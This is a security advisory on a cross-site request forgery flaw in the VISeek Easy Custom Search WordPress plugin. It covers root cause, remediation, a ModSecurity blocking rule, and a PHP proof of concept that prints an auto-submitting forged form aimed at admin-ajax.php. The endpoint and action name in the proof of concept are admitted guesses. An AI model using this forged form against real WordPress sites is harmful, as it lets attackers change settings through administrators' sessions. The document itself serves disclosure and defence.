Atomic Edge analysis of CVE-2026-121770 (metadata-based): This is a Cross-Site Request Forgery (CSRF) vulnerability in the VISeek – Easy Custom Search plugin for WordPress, affecting all versions up to and including 1.0.5. The vulnerability allows unauthenticated attackers to perform unauthorized actions by tricking a site administrator into clicking a crafted link or visiting a malicious page. The CVSS score is 4.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N, indicating low integrity impact and requiring user interaction.
Root Cause: The root cause is missing or incorrect nonce validation on a function, as classified under CWE-352. The plugin fails to verify the authenticity of requests before performing a sensitive action. Atomic Edge analysis infers this is likely a handler for an AJAX action (via wp_ajax_ or wp_ajax_nopriv_ hooks) or an admin-post action that lacks a nonce check (e.g., check_ajax_referer or wp_verify_nonce). Without a nonce, an attacker can forge requests that appear legitimate to the server. The exact function name and endpoint are not confirmed from code, but the metadata clearly points to a missing nonce on a state-changing operation.
Exploitation: An attacker can craft a malicious HTML page or link that, when visited by a logged-in administrator, sends a request to the vulnerable endpoint. The endpoint is likely /wp-admin/admin-ajax.php with a specific action parameter (e.g., action=viseek_easy_custom_search_save_settings) or /wp-admin/admin-post.php. The request would include parameters that trigger the unauthorized action, such as modifying plugin settings or performing other administrative tasks. Since no nonce is required, the request succeeds if the administrator is authenticated. The attacker does not need to know the nonce value. The CVSS vector requires user interaction (UI:R), meaning the attacker must trick the admin into visiting a page or clicking a link.
Remediation: The fix requires adding proper nonce verification to the vulnerable function. The plugin should generate a nonce and include it in the form or AJAX request, then verify it on the server side using check_ajax_referer or wp_verify_nonce. Additionally, capability checks (e.g., current_user_can) should be enforced to ensure only authorized users can perform the action. The patched version 1.0.6 likely implements these checks. Site owners should update to version 1.0.6 or later.
Impact: Successful exploitation allows an attacker to perform unauthorized actions with the privileges of the tricked administrator. The specific impact depends on the function’s purpose. It could lead to settings changes, data modification, or other integrity-impacting actions. The CVSS vector indicates low integrity impact (I:L) and no confidentiality or availability impact. However, the actual impact could be higher if the function performs sensitive operations. Atomic Edge research assesses this as a medium-severity vulnerability due to the requirement for user interaction.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-121770 (metadata-based)
# This rule blocks CSRF attacks targeting the VISeek Easy Custom Search plugin.
# It matches AJAX requests to admin-ajax.php with the likely action name.
# The action name is inferred from the plugin slug and common patterns.
# Adjust the action name if the actual vulnerable action is discovered.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261217,phase:2,deny,status:403,chain,msg:'CVE-2026-121770 via VISeek Easy Custom Search CSRF',severity:'CRITICAL',tag:'CVE-2026-121770'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq viseek_easy_custom_search_save_settings" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-121770 - VISeek – Easy Custom Search <= 1.0.5 - Cross-Site Request Forgery
// This PoC demonstrates a CSRF attack against the vulnerable plugin.
// Assumptions:
// - The vulnerable function is triggered via an AJAX action (common for WordPress plugins).
// - The action name is guessed as 'viseek_easy_custom_search_save_settings' based on plugin slug.
// - The target endpoint is /wp-admin/admin-ajax.php.
// - The victim is a logged-in administrator who visits the attacker's page.
// - No nonce is required due to the vulnerability.
$target_url = 'http://wordpress.local'; // Configure your target WordPress site
// Malicious page that will be hosted on attacker-controlled server.
// It automatically submits a POST request to the vulnerable endpoint.
$malicious_html = <<<HTML
<html>
<body onload="document.forms[0].submit()">
<form action="{$target_url}/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="viseek_easy_custom_search_save_settings" />
<input type="hidden" name="viseek_settings" value="malicious_value" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
HTML;
// The attacker would save this HTML to a file and host it, then send the link to the admin.
// For demonstration, we output the HTML.
echo "Host this HTML on your server and send the link to a logged-in administrator:nn";
echo $malicious_html;
// Alternatively, an attacker could use a CSRF PoC generator or a tool like Burp Suite.
// This script does not perform the attack itself; it generates the payload.
// To automate, you would need to trick the admin into visiting the page.
// Note: The actual action name and parameters may differ. Adjust based on reverse engineering.
// The vulnerability exists because the server does not validate a nonce.
// If a nonce were required, the attack would fail without knowing the nonce.
// End of PoC
?>